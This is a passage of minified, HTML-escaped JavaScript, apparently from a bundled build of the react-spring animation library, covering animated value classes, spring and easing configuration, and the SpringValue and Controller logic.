&quot;,q8=e=&gt;{let t=e,o=!1;if(typeof t!=&quot;function&quot;)throw new TypeError(`${Y8}once requires a function parameter`);return(...r)=&gt;{o||(t(...r),o=!0)}},Uye=q8(console.warn);function Z8(){Uye(`${Y8}The &quot;interpolate&quot; function is deprecated in v9 (use &quot;to&quot; instead)`)}var Wze=q8(console.warn);function kh(e){return ae.str(e)&amp;&amp;(e[0]==&quot;#&quot;||/\d/.test(e)||!XM()&amp;&amp;AC.test(e)||e in(Eu||{}))}var oy=XM()?Ai.useEffect:Ai.useLayoutEffect,Hye=()=&gt;{let e=(0,Ai.useRef)(!1);return oy(()=&gt;(e.current=!0,()=&gt;{e.current=!1}),[]),e};function tD(){let e=(0,Ai.useState)()[1],t=Hye();return()=&gt;{t.current&amp;&amp;e(Math.random())}}function X8(e,t){let[o]=(0,Ai.useState)(()=&gt;({inputs:t,result:e()})),r=(0,Ai.useRef)(),n=r.current,i=n;return i?t&amp;&amp;i.inputs&amp;&amp;Gye(t,i.inputs)||(i={inputs:t,result:e()}):i=o,(0,Ai.useEffect)(()=&gt;{r.current=i,n==o&amp;&amp;(o.inputs=o.result=void 0)},[i]),i.result}function Gye(e,t){if(e.length!==t.length)return!1;for(let o=0;o&lt;e.length;o++)if(e[o]!==t[o])return!1;return!0}var oD=e=&gt;(0,Ai.useEffect)(e,Wye),Wye=[];var fy=l(jr()),my=l(jr());var t7=l(jr()),Rl=l(jr()),ry=Symbol.for(&quot;Animated:node&quot;),$ye=e=&gt;!!e&amp;&amp;e[ry]===e,Es=e=&gt;e&amp;&amp;e[ry],VC=(e,t)=&gt;z8(e,ry,t),ny=e=&gt;e&amp;&amp;e[ry]&amp;&amp;e[ry].getPayload(),NC=class{constructor(){this.payload=void 0,VC(this,this)}getPayload(){return this.payload||[]}},Zf=class e extends NC{constructor(t){super(),this.done=!0,this.elapsedTime=void 0,this.lastPosition=void 0,this.lastVelocity=void 0,this.v0=void 0,this.durationProgress=0,this._value=t,ae.num(this._value)&amp;&amp;(this.lastPosition=this._value)}static create(t){return new e(t)}getPayload(){return[this]}getValue(){return this._value}setValue(t,o){return ae.num(t)&amp;&amp;(this.lastPosition=t,o&amp;&amp;(t=Math.round(t/o)*o,this.done&amp;&amp;(this.lastPosition=t))),this._value===t?!1:(this._value=t,!0)}reset(){let{done:t}=this;this.done=!1,ae.num(this._value)&amp;&amp;(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,t&amp;&amp;(this.lastVelocity=null),this.v0=null)}},Xf=class e extends Zf{constructor(t){super(0),this._string=null,this._toString=void 0,this._toString=Tu({output:[t,t]})}static create(t){return new e(t)}getValue(){let t=this._string;return t??(this._string=this._toString(this._value))}setValue(t){if(ae.str(t)){if(t==this._string)return!1;this._string=t,this._value=1}else if(super.setValue(t))this._string=null;else return!1;return!0}reset(t){t&amp;&amp;(this._toString=Tu({output:[this.getValue(),t]})),this._value=0,super.reset()}},MC={dependencies:null},Qf=class extends NC{constructor(t){super(),this.source=t,this.setValue(t)}getValue(t){let o={};return Li(this.source,(r,n)=&gt;{$ye(r)?o[n]=r.getValue(t):Ur(r)?o[n]=pr(r):t||(o[n]=r)}),o}setValue(t){this.source=t,this.payload=this._makePayload(t)}reset(){this.payload&amp;&amp;bt(this.payload,t=&gt;t.reset())}_makePayload(t){if(t){let o=new Set;return Li(t,this._addToPayload,o),Array.from(o)}}_addToPayload(t){MC.dependencies&amp;&amp;Ur(t)&amp;&amp;MC.dependencies.add(t);let o=ny(t);o&amp;&amp;bt(o,r=&gt;this.add(r))}},rD=class e extends Qf{constructor(t){super(t)}static create(t){return new e(t)}getValue(){return this.source.map(t=&gt;t.getValue())}setValue(t){let o=this.getPayload();return t.length==o.length?o.map((r,n)=&gt;r.setValue(t[n])).some(Boolean):(super.setValue(t.map(Kye)),!0)}};function Kye(e){return(kh(e)?Xf:Zf).create(e)}function FC(e){let t=Es(e);return t?t.constructor:ae.arr(e)?rD:kh(e)?Xf:Zf}function DC(){return DC=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var o=arguments[t];for(var r in o)Object.prototype.hasOwnProperty.call(o,r)&amp;&amp;(e[r]=o[r])}return e},DC.apply(this,arguments)}var Q8=(e,t)=&gt;{let o=!ae.fun(e)||e.prototype&amp;&amp;e.prototype.isReactComponent;return(0,Rl.forwardRef)((r,n)=&gt;{let i=(0,Rl.useRef)(null),s=o&amp;&amp;(0,Rl.useCallback)(p=&gt;{i.current=qye(n,p)},[n]),[a,c]=Yye(r,t),u=tD(),d=()=&gt;{let p=i.current;if(o&amp;&amp;!p)return;(p?t.applyAnimatedValues(p,a.getValue(!0)):!1)===!1&amp;&amp;u()},f=new nD(d,c),m=(0,Rl.useRef)();oy(()=&gt;(m.current=f,bt(c,p=&gt;Iu(p,f)),()=&gt;{m.current&amp;&amp;(bt(m.current.deps,p=&gt;Pu(p,m.current)),Se.cancel(m.current.update))})),(0,Rl.useEffect)(d,[]),oD(()=&gt;()=&gt;{let p=m.current;bt(p.deps,g=&gt;Pu(g,p))});let h=t.getComponentProps(a.getValue());return t7.createElement(e,DC({},h,{ref:s}))})},nD=class{constructor(t,o){this.update=t,this.deps=o}eventObserved(t){t.type==&quot;change&quot;&amp;&amp;Se.write(this.update)}};function Yye(e,t){let o=new Set;return MC.dependencies=o,e.style&amp;&amp;(e=DC({},e,{style:t.createAnimatedStyle(e.style)})),e=new Qf(e),MC.dependencies=null,[e,o]}function qye(e,t){return e&amp;&amp;(ae.fun(e)?e(t):e.current=t),t}var J8=Symbol.for(&quot;AnimatedComponent&quot;),o7=(e,{applyAnimatedValues:t=()=&gt;!1,createAnimatedStyle:o=n=&gt;new Qf(n),getComponentProps:r=n=&gt;n}={})=&gt;{let n={applyAnimatedValues:t,createAnimatedStyle:o,getComponentProps:r},i=s=&gt;{let a=e7(s)||&quot;Anonymous&quot;;return ae.str(s)?s=i[s]||(i[s]=Q8(s,n)):s=s[J8]||(s[J8]=Q8(s,n)),s.displayName=`Animated(${a})`,s};return Li(e,(s,a)=&gt;{ae.arr(e)&amp;&amp;(a=e7(s)),i[a]=i(s)}),{animated:i}},e7=e=&gt;ae.str(e)?e:e&amp;&amp;ae.str(e.displayName)?e.displayName:ae.fun(e)&amp;&amp;e.name||null;function Hr(){return Hr=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var o=arguments[t];for(var r in o)Object.prototype.hasOwnProperty.call(o,r)&amp;&amp;(e[r]=o[r])}return e},Hr.apply(this,arguments)}function Jf(e,...t){return ae.fun(e)?e(...t):e}var ly=(e,t)=&gt;e===!0||!!(t&amp;&amp;e&amp;&amp;(ae.fun(e)?e(t):hn(e).includes(t))),p7=(e,t)=&gt;ae.obj(e)?t&amp;&amp;e[t]:e,h7=(e,t)=&gt;e.default===!0?e[t]:e.default?e.default[t]:void 0,Zye=e=&gt;e,g7=(e,t=Zye)=&gt;{let o=Xye;e.default&amp;&amp;e.default!==!0&amp;&amp;(e=e.default,o=Object.keys(e));let r={};for(let n of o){let i=t(e[n],n);ae.und(i)||(r[n]=i)}return r},Xye=[&quot;config&quot;,&quot;onProps&quot;,&quot;onStart&quot;,&quot;onChange&quot;,&quot;onPause&quot;,&quot;onResume&quot;,&quot;onRest&quot;],Qye={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function Jye(e){let t={},o=0;if(Li(e,(r,n)=&gt;{Qye[n]||(t[n]=r,o++)}),o)return t}function b7(e){let t=Jye(e);if(t){let o={to:t};return Li(e,(r,n)=&gt;n in t||(o[n]=r)),o}return Hr({},e)}function cy(e){return e=pr(e),ae.arr(e)?e.map(cy):kh(e)?$n.createStringInterpolator({range:[0,1],output:[e,e]})(1):e}function aD(e){return ae.fun(e)||ae.arr(e)&amp;&amp;ae.obj(e[0])}var eSe={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}},UC=1.70158,zC=UC*1.525,r7=UC+1,n7=2*Math.PI/3,i7=2*Math.PI/4.5,jC=e=&gt;e&lt;1/2.75?7.5625*e*e:e&lt;2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e&lt;2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,tSe={linear:e=&gt;e,easeInQuad:e=&gt;e*e,easeOutQuad:e=&gt;1-(1-e)*(1-e),easeInOutQuad:e=&gt;e&lt;.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=&gt;e*e*e,easeOutCubic:e=&gt;1-Math.pow(1-e,3),easeInOutCubic:e=&gt;e&lt;.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=&gt;e*e*e*e,easeOutQuart:e=&gt;1-Math.pow(1-e,4),easeInOutQuart:e=&gt;e&lt;.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=&gt;e*e*e*e*e,easeOutQuint:e=&gt;1-Math.pow(1-e,5),easeInOutQuint:e=&gt;e&lt;.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=&gt;1-Math.cos(e*Math.PI/2),easeOutSine:e=&gt;Math.sin(e*Math.PI/2),easeInOutSine:e=&gt;-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=&gt;e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=&gt;e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=&gt;e===0?0:e===1?1:e&lt;.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=&gt;1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=&gt;Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=&gt;e&lt;.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=&gt;r7*e*e*e-UC*e*e,easeOutBack:e=&gt;1+r7*Math.pow(e-1,3)+UC*Math.pow(e-1,2),easeInOutBack:e=&gt;e&lt;.5?Math.pow(2*e,2)*((zC+1)*2*e-zC)/2:(Math.pow(2*e-2,2)*((zC+1)*(e*2-2)+zC)+2)/2,easeInElastic:e=&gt;e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*n7),easeOutElastic:e=&gt;e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*n7)+1,easeInOutElastic:e=&gt;e===0?0:e===1?1:e&lt;.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*i7))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*i7)/2+1,easeInBounce:e=&gt;1-jC(1-e),easeOutBounce:jC,easeInOutBounce:e=&gt;e&lt;.5?(1-jC(1-2*e))/2:(1+jC(2*e-1))/2},lD=Hr({},eSe.default,{mass:1,damping:1,easing:tSe.linear,clamp:!1}),cD=class{constructor(){this.tension=void 0,this.friction=void 0,this.frequency=void 0,this.damping=void 0,this.mass=void 0,this.velocity=0,this.restVelocity=void 0,this.precision=void 0,this.progress=void 0,this.duration=void 0,this.easing=void 0,this.clamp=void 0,this.bounce=void 0,this.decay=void 0,this.round=void 0,Object.assign(this,lD)}};function oSe(e,t,o){o&amp;&amp;(o=Hr({},o),s7(o,t),t=Hr({},o,t)),s7(e,t),Object.assign(e,t);for(let s in lD)e[s]==null&amp;&amp;(e[s]=lD[s]);let{mass:r,frequency:n,damping:i}=e;return ae.und(n)||(n&lt;.01&amp;&amp;(n=.01),i&lt;0&amp;&amp;(i=0),e.tension=Math.pow(2*Math.PI/n,2)*r,e.friction=4*Math.PI*i*r/n),e}function s7(e,t){if(!ae.und(t.decay))e.duration=void 0;else{let o=!ae.und(t.tension)||!ae.und(t.friction);(o||!ae.und(t.frequency)||!ae.und(t.damping)||!ae.und(t.mass))&amp;&amp;(e.duration=void 0,e.decay=void 0),o&amp;&amp;(e.frequency=void 0)}}var a7=[],uD=class{constructor(){this.changed=!1,this.values=a7,this.toValues=null,this.fromValues=a7,this.to=void 0,this.from=void 0,this.config=new cD,this.immediate=!1}};function k7(e,{key:t,props:o,defaultProps:r,state:n,actions:i}){return new Promise((s,a)=&gt;{var c;let u,d,f=ly((c=o.cancel)!=null?c:r?.cancel,t);if(f)p();else{ae.und(o.pause)||(n.paused=ly(o.pause,t));let g=r?.pause;g!==!0&amp;&amp;(g=n.paused||ly(g,t)),u=Jf(o.delay||0,t),g?(n.resumeQueue.add(h),i.pause()):(i.resume(),h())}function m(){n.resumeQueue.add(h),n.timeouts.delete(d),d.cancel(),u=d.time-Se.now()}function h(){u&gt;0&amp;&amp;!$n.skipAnimation?(n.delayed=!0,d=Se.setTimeout(p,u),n.pauseQueue.add(m),n.timeouts.add(d)):p()}function p(){n.delayed&amp;&amp;(n.delayed=!1),n.pauseQueue.delete(m),n.timeouts.delete(d),e&lt;=(n.cancelId||0)&amp;&amp;(f=!0);try{i.start(Hr({},o,{callId:e,cancel:f}),s)}catch(g){a(g)}}})}var bD=(e,t)=&gt;t.length==1?t[0]:t.some(o=&gt;o.cancelled)?vh(e.get()):t.every(o=&gt;o.noop)?v7(e.get()):Ts(e.get(),t.every(o=&gt;o.finished)),v7=e=&gt;({value:e,noop:!0,finished:!0,cancelled:!1}),Ts=(e,t,o=!1)=&gt;({value:e,finished:t,cancelled:o}),vh=e=&gt;({value:e,cancelled:!0,finished:!1});function y7(e,t,o,r){let{callId:n,parentId:i,onRest:s}=t,{asyncTo:a,promise:c}=o;return!i&amp;&amp;e===a&amp;&amp;!t.reset?c:o.promise=(async()=&gt;{o.asyncId=n,o.asyncTo=e;let u=g7(t,(b,v)=&gt;v===&quot;onRest&quot;?void 0:b),d,f,m=new Promise((b,v)=&gt;(d=b,f=v)),h=b=&gt;{let v=n&lt;=(o.cancelId||0)&amp;&amp;vh(r)||n!==o.asyncId&amp;&amp;Ts(r,!1);if(v)throw b.result=v,f(b),b},p=(b,v)=&gt;{let k=new HC,y=new GC;return(async()=&gt;{if($n.skipAnimation)throw uy(o),y.result=Ts(r,!1),f(y),y;h(k);let S=ae.obj(b)?Hr({},b):Hr({},v,{to:b});S.parentId=n,Li(u,(C,B)=&gt;{ae.und(S[B])&amp;&amp;(S[B]=C)});let x=await r.start(S);return h(k),o.paused&amp;&amp;await new Promise(C=&gt;{o.resumeQueue.add(C)}),x})()},g;if($n.skipAnimation)return uy(o),Ts(r,!1);try{let b;ae.arr(e)?b=(async v=&gt;{for(let k of v)await p(k)})(e):b=Promise.resolve(e(p,r.stop.bind(r))),await Promise.all([b.then(d),m]),g=Ts(r.get(),!0,!1)}catch(b){if(b instanceof HC)g=b.result;else if(b instanceof GC)g=b.result;else throw b}finally{n==o.asyncId&amp;&amp;(o.asyncId=i,o.asyncTo=i?a:void 0,o.promise=i?c:void 0)}return ae.fun(s)&amp;&amp;Se.batchedUpdates(()=&gt;{s(g,r,r.item)}),g})()}function uy(e,t){hh(e.timeouts,o=&gt;o.cancel()),e.pauseQueue.clear(),e.resumeQueue.clear(),e.asyncId=e.asyncTo=e.promise=void 0,t&amp;&amp;(e.cancelId=t)}var HC=class extends Error{constructor(){super(&quot;An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.&quot;),this.result=void 0}},GC=class extends Error{constructor(){super(&quot;SkipAnimationSignal&quot;),this.result=void 0}},dD=e=&gt;e instanceof dy,rSe=1,dy=class extends ph{constructor(...t){super(...t),this.id=rSe++,this.key=void 0,this._priority=0}get priority(){return this._priority}set priority(t){this._priority!=t&amp;&amp;(this._priority=t,this._onPriorityChange(t))}get(){let t=Es(this);return t&amp;&amp;t.getValue()}to(...t){return $n.to(this,t)}interpolate(...t){return Z8(),$n.to(this,t)}toJSON(){return this.get()}observerAdded(t){t==1&amp;&amp;this._attach()}observerRemoved(t){t==0&amp;&amp;this._detach()}_attach(){}_detach(){}_onChange(t,o=!1){qf(this,{type:&quot;change&quot;,parent:this,value:t,idle:o})}_onPriorityChange(t){this.idle||bh.sort(this),qf(this,{type:&quot;priority&quot;,parent:this,priority:t})}},em=Symbol.for(&quot;SpringPhase&quot;),S7=1,fD=2,mD=4,iD=e=&gt;(e[em]&amp;S7)&gt;0,Ru=e=&gt;(e[em]&amp;fD)&gt;0,iy=e=&gt;(e[em]&amp;mD)&gt;0,l7=(e,t)=&gt;t?e[em]|=fD|S7:e[em]&amp;=~fD,c7=(e,t)=&gt;t?e[em]|=mD:e[em]&amp;=~mD,pD=class extends dy{constructor(t,o){if(super(),this.key=void 0,this.animation=new uD,this.queue=void 0,this.defaultProps={},this._state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._pendingCalls=new Set,this._lastCallId=0,this._lastToId=0,this._memoizedDuration=0,!ae.und(t)||!ae.und(o)){let r=ae.obj(t)?Hr({},t):Hr({},o,{from:t});ae.und(r.default)&amp;&amp;(r.default=!0),this.start(r)}}get idle(){return!(Ru(this)||this._state.asyncTo)||iy(this)}get goal(){return pr(this.animation.to)}get velocity(){let t=Es(this);return t instanceof Zf?t.lastVelocity||0:t.getPayload().map(o=&gt;o.lastVelocity||0)}get hasAnimated(){return iD(this)}get isAnimating(){return Ru(this)}get isPaused(){return iy(this)}get isDelayed(){return this._state.delayed}advance(t){let o=!0,r=!1,n=this.animation,{config:i,toValues:s}=n,a=ny(n.to);!a&amp;&amp;Ur(n.to)&amp;&amp;(s=hn(pr(n.to))),n.values.forEach((d,f)=&gt;{if(d.done)return;let m=d.constructor==Xf?1:a?a[f].lastPosition:s[f],h=n.immediate,p=m;if(!h){if(p=d.lastPosition,i.tension&lt;=0){d.done=!0;return}let g=d.elapsedTime+=t,b=n.fromValues[f],v=d.v0!=null?d.v0:d.v0=ae.arr(i.velocity)?i.velocity[f]:i.velocity,k,y=i.precision||(b==m?.005:Math.min(1,Math.abs(m-b)*.001));if(ae.und(i.duration))if(i.decay){let S=i.decay===!0?.998:i.decay,x=Math.exp(-(1-S)*g);p=b+v/(1-S)*(1-x),h=Math.abs(d.lastPosition-p)&lt;=y,k=v*x}else{k=d.lastVelocity==null?v:d.lastVelocity;let S=i.restVelocity||y/10,x=i.clamp?0:i.bounce,C=!ae.und(x),B=b==m?d.v0&gt;0:b&lt;m,I,P=!1,E=1,L=Math.ceil(t/E);for(let T=0;T&lt;L&amp;&amp;(I=Math.abs(k)&gt;S,!(!I&amp;&amp;(h=Math.abs(m-p)&lt;=y,h)));++T){C&amp;&amp;(P=p==m||p&gt;m==B,P&amp;&amp;(k=-k*x,p=m));let O=-i.tension*1e-6*(p-m),D=-i.friction*.001*k,U=(O+D)/i.mass;k=k+U*E,p=p+k*E}}else{let S=1;i.duration&gt;0&amp;&amp;(this._memoizedDuration!==i.duration&amp;&amp;(this._memoizedDuration=i.duration,d.durationProgress&gt;0&amp;&amp;(d.elapsedTime=i.duration*d.durationProgress,g=d.elapsedTime+=t)),S=(i.progress||0)+g/this._memoizedDuration,S=S&gt;1?1:S&lt;0?0:S,d.durationProgress=S),p=b+i.easing(S)*(m-b),k=(p-d.lastPosition)/t,h=S==1}d.lastVelocity=k,Number.isNaN(p)&amp;&amp;(console.warn(&quot;Got NaN while animating:&quot;,this),h=!0)}a&amp;&amp;!a[f].done&amp;&amp;(h=!1),h?d.done=!0:o=!1,d.setValue(p,i.round)&amp;&amp;(r=!0)});let c=Es(this),u=c.getValue();if(o){let d=pr(n.to);(u!==d||r)&amp;&amp;!i.decay?(c.setValue(d),this._onChange(d)):r&amp;&amp;i.decay&amp;&amp;this._onChange(u),this._stop()}else r&amp;&amp;this._onChange(u)}set(t){return Se.batchedUpdates(()=&gt;{this._stop(),this._focus(t),this._set(t)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(Ru(this)){let{to:t,config:o}=this.animation;Se.batchedUpdates(()=&gt;{this._onStart(),o.decay||this._set(t,!1),this._stop()})}return this}update(t){return(this.queue||(this.queue=[])).push(t),this}start(t,o){let r;return ae.und(t)?(r=this.queue||[],this.queue=[]):r=[ae.obj(t)?t:Hr({},o,{to:t})],Promise.all(r.map(n=&gt;this._update(n))).then(n=&gt;bD(this,n))}stop(t){let{to:o}=this.animation;return this._focus(this.get()),uy(this._state,t&amp;&amp;this._lastCallId),Se.batchedUpdates(()=&gt;this._stop(o,t)),this}reset(){this._update({reset:!0})}eventObserved(t){t.type==&quot;change&quot;?this._start():t.type==&quot;priority&quot;&amp;&amp;(this.priority=t.priority+1)}_prepareNode(t){let o=this.key||&quot;&quot;,{to:r,from:n}=t;r=ae.obj(r)?r[o]:r,(r==null||aD(r))&amp;&amp;(r=void 0),n=ae.obj(n)?n[o]:n,n==null&amp;&amp;(n=void 0);let i={to:r,from:n};return iD(this)||(t.reverse&amp;&amp;([r,n]=[n,r]),n=pr(n),ae.und(n)?Es(this)||this._set(r):this._set(n)),i}_update(t,o){let r=Hr({},t),{key:n,defaultProps:i}=this;r.default&amp;&amp;Object.assign(i,g7(r,(c,u)=&gt;/^on/.test(u)?p7(c,n):c)),d7(this,r,&quot;onProps&quot;),ay(this,&quot;onProps&quot;,r,this);let s=this._prepareNode(r);if(Object.isFrozen(this))throw Error(&quot;Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?&quot;);let a=this._state;return k7(++this._lastCallId,{key:n,props:r,defaultProps:i,state:a,actions:{pause:()=&gt;{iy(this)||(c7(this,!0),gh(a.pauseQueue),ay(this,&quot;onPause&quot;,Ts(this,sy(this,this.animation.to)),this))},resume:()=&gt;{iy(this)&amp;&amp;(c7(this,!1),Ru(this)&amp;&amp;this._resume(),gh(a.resumeQueue),ay(this,&quot;onResume&quot;,Ts(this,sy(this,this.animation.to)),this))},start:this._merge.bind(this,s)}}).then(c=&gt;{if(r.loop&amp;&amp;c.finished&amp;&amp;!(o&amp;&amp;c.noop)){let u=_7(r);if(u)return this._update(u,!0)}return c})}_merge(t,o,r){if(o.cancel)return this.stop(!0),r(vh(this));let n=!ae.und(t.to),i=!ae.und(t.from);if(n||i)if(o.callId&gt;this._lastToId)this._lastToId=o.callId;else return r(vh(this));let{key:s,defaultProps:a,animation:c}=this,{to:u,from:d}=c,{to:f=u,from:m=d}=t;i&amp;&amp;!n&amp;&amp;(!o.default||ae.und(f))&amp;&amp;(f=m),o.reverse&amp;&amp;([f,m]=[m,f]);let h=!ka(m,d);h&amp;&amp;(c.from=m),m=pr(m);let p=!ka(f,u);p&amp;&amp;this._focus(f);let g=aD(o.to),{config:b}=c,{decay:v,velocity:k}=b;(n||i)&amp;&amp;(b.velocity=0),o.config&amp;&amp;!g&amp;&amp;oSe(b,Jf(o.config,s),o.config!==a.config?Jf(a.config,s):void 0);let y=Es(this);if(!y||ae.und(f))return r(Ts(this,!0));let S=ae.und(o.reset)?i&amp;&amp;!o.default:!ae.und(m)&amp;&amp;ly(o.reset,s),x=S?m:this.get(),C=cy(f),B=ae.num(C)||ae.arr(C)||kh(C),I=!g&amp;&amp;(!B||ly(a.immediate||o.immediate,s));if(p){let T=FC(f);if(T!==y.constructor)if(I)y=this._set(C);else throw Error(`Cannot animate between ${y.constructor.name} and ${T.name}, as the &quot;to&quot; prop suggests`)}let P=y.constructor,E=Ur(f),L=!1;if(!E){let T=S||!iD(this)&amp;&amp;h;(p||T)&amp;&amp;(L=ka(cy(x),C),E=!L),(!ka(c.immediate,I)&amp;&amp;!I||!ka(b.decay,v)||!ka(b.velocity,k))&amp;&amp;(E=!0)}if(L&amp;&amp;Ru(this)&amp;&amp;(c.changed&amp;&amp;!S?E=!0:E||this._stop(u)),!g&amp;&amp;((E||Ur(u))&amp;&amp;(c.values=y.getPayload(),c.toValues=Ur(f)?null:P==Xf?[1]:hn(C)),c.immediate!=I&amp;&amp;(c.immediate=I,!I&amp;&amp;!S&amp;&amp;this._set(u)),E)){let{onRest:T}=c;bt(nSe,D=&gt;d7(this,o,D));let O=Ts(this,sy(this,u));gh(this._pendingCalls,O),this._pendingCalls.add(r),c.changed&amp;&amp;Se.batchedUpdates(()=&gt;{c.changed=!S,T?.(O,this),S?Jf(a.onRest,O):c.onStart==null||c.onStart(O,this)})}S&amp;&amp;this._set(x),g?r(y7(o.to,o,this._state,this)):E?this._start():Ru(this)&amp;&amp;!p?this._pendingCalls.add(r):r(v7(x))}_focus(t){let o=this.animation;t!==o.to&amp;&amp;(eD(this)&amp;&amp;this._detach(),o.to=t,eD(this)&amp;&amp;this._attach())}_attach(){let t=0,{to:o}=this.animation;Ur(o)&amp;&amp;(Iu(o,this),dD(o)&amp;&amp;(t=o.priority+1)),this.priority=t}_detach(){let{to:t}=this.animation;Ur(t)&amp;&amp;Pu(t,this)}_set(t,o=!0){let r=pr(t);if(!ae.und(r)){let n=Es(this);if(!n||!ka(r,n.getValue())){let i=FC(r);!n||n.constructor!=i?VC(this,i.create(r)):n.setValue(r),n&amp;&amp;Se.batchedUpdates(()=&gt;{this._onChange(r,o)})}}return Es(this)}_onStart(){let t=this.animation;t.changed||(t.changed=!0,ay(this,&quot;onStart&quot;,Ts(this,sy(this,t.to)),this))}_onChange(t,o){o||(this._onStart(),Jf(this.animation.onChange,t,this)),Jf(this.defaultProps.onChange,t,this),super._onChange(t,o)}_start(){let t=this.animation;Es(this).reset(pr(t.to)),t.immediate||(t.fromValues=t.values.map(o=&gt;o.lastPosition)),Ru(this)||(l7(this,!0),iy(this)||this._resume())}_resume(){$n.skipAnimation?this.finish():bh.start(this)}_stop(t,o){if(Ru(this)){l7(this,!1);let r=this.animation;bt(r.values,i=&gt;{i.done=!0}),r.toValues&amp;&amp;(r.onChange=r.onPause=r.onResume=void 0),qf(this,{type:&quot;idle&quot;,parent:this});let n=o?vh(this.get()):Ts(this.get(),sy(this,t??r.to));gh(this._pendingCalls,n),r.changed&amp;&amp;(r.changed=!1,ay(this,&quot;onRest&quot;,n,this))}}};function sy(e,t){let o=cy(t),r=cy(e.get());return ka(r,o)}function _7(e,t=e.loop,o=e.to){let r=Jf(t);if(r){let n=r!==!0&amp;&amp;b7(r),i=(n||e).reverse,s=!n||n.reset;return hD(Hr({},e,{loop:t,default:!1,pause:void 0,to:!i||aD(o)?o:void 0,from:s?e.from:void 0,reset:s},n))}}function hD(e){let{to:t,from:o}=e=b7(e),r=new Set;return ae.obj(t)&amp;&amp;u7(t,r),ae.obj(o)&amp;&amp;u7(o,r),e.keys=r.size?Array.from(r):null,e}function u7(e,t){Li(e,(o,r)=&gt;o!=null&amp;&amp;t.add(r))}var nSe=[&quot;onStart&quot;,&quot;onRest&quot;,&quot;onChange&quot;,&quot;onPause&quot;,&quot;onResume&quot;];function d7(e,t,o){e.animation[o]=t[o]!==h7(t,o)?p7(t[o],e.key):void 0}function ay(e,t,...o){var r,n,i,s;(r=(n=e.animation)[t])==null||r.call(n,...o),(i=(s=e.defaultProps)[t])==null||i.call(s,...o)}var iSe=[&quot;onStart&quot;,&quot;onChange&quot;,&quot;onRest&quot;],sSe=1,WC=class{constructor(t,o){this.id=sSe++,this.springs={},this.queue=[],this.ref=void 0,this._flush=void 0,this._initialProps=void 0,this._lastAsyncId=0,this._active=new Set,this._changed=new Set,this._started=!1,this._item=void 0,this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._events={onStart:new Map,onChange:new Map,onRest:new Map},this._onFrame=this._onFrame.bind(this),o&amp;&amp;(this._flush=o),t&amp;&amp;this.start(Hr({default:!0},t))}get idle(){return!this._state.asyncTo&amp;&amp;Object.values(this.springs).every(t=&gt;t.idle&amp;&amp;!t.isDelayed&amp;&amp;!t.isPaused)}get item(){return this._item}set item(t){this._item=t}get(){let t={};return this.each((o,r)=&gt;t[r]=o.get()),t}set(t){for(let o in t){let r=t[o];ae.und(r)||this.springs[o].set(r)}}update(t){return t&amp;&amp;this.queue.push(hD(t)),this}start(t){let{queue:o}=this;return t?o=hn(t).map(hD):this.queue=[],this._flush?this._flush(this,o):(w7(this,o),aSe(this,o))}stop(t,o){if(t!==!!t&amp;&amp;(o=t),o){let r=this.springs;bt(hn(o),n=&gt;r[n].stop(!!t))}else uy(this._state,this._lastAsyncId),this.each(r=&gt;r.stop(!!t));return this}pause(t){if(ae.und(t))this.start({pause:!0});else{let o=this.springs;bt(hn(t),r=&gt;o[r].pause())}return this}resume(t){if(ae.und(t))this.start({pause:!1});else{let o=this.springs;bt(hn(t),r=&gt;o[r].resume())}return this}each(t){Li(this.springs,t)}_onFrame(){let{onStart:t,onChange:o,onRest:r}=this._events,n=this._active.size&gt;0,i=this._changed.size&gt;0;(n&amp;&amp;!this._started||i&amp;&amp;!this._started)&amp;&amp;(this._started=!0,hh(t,([c,u])=&gt;{u.value=this.get(),c(u,this,this._item)}));let s=!n&amp;&amp;this._started,a=i||s&amp;&amp;r.size?this.get():null;i&amp;&amp;o.size&amp;&amp;hh(o,([c,u])=&gt;{u.value=a,c(u,this,this._item)}),s&amp;&amp;(this._started=!1,hh(r,([c,u])=&gt;{u.value=a,c(u,this,this._item)}))}eventObserved(t){if(t.type==&quot;change&quot;)this._changed.add(t.parent),t.idle||this._active.add(t.parent);else if(t.type==&quot;idle&quot;)this._active.delete(t.parent);else return;Se.onFrame(this._onFrame)}};function aSe(e,t){return Promise.all(t.map(o=&gt;x7(e,o))).then(o=&gt;bD(e,o))}async function 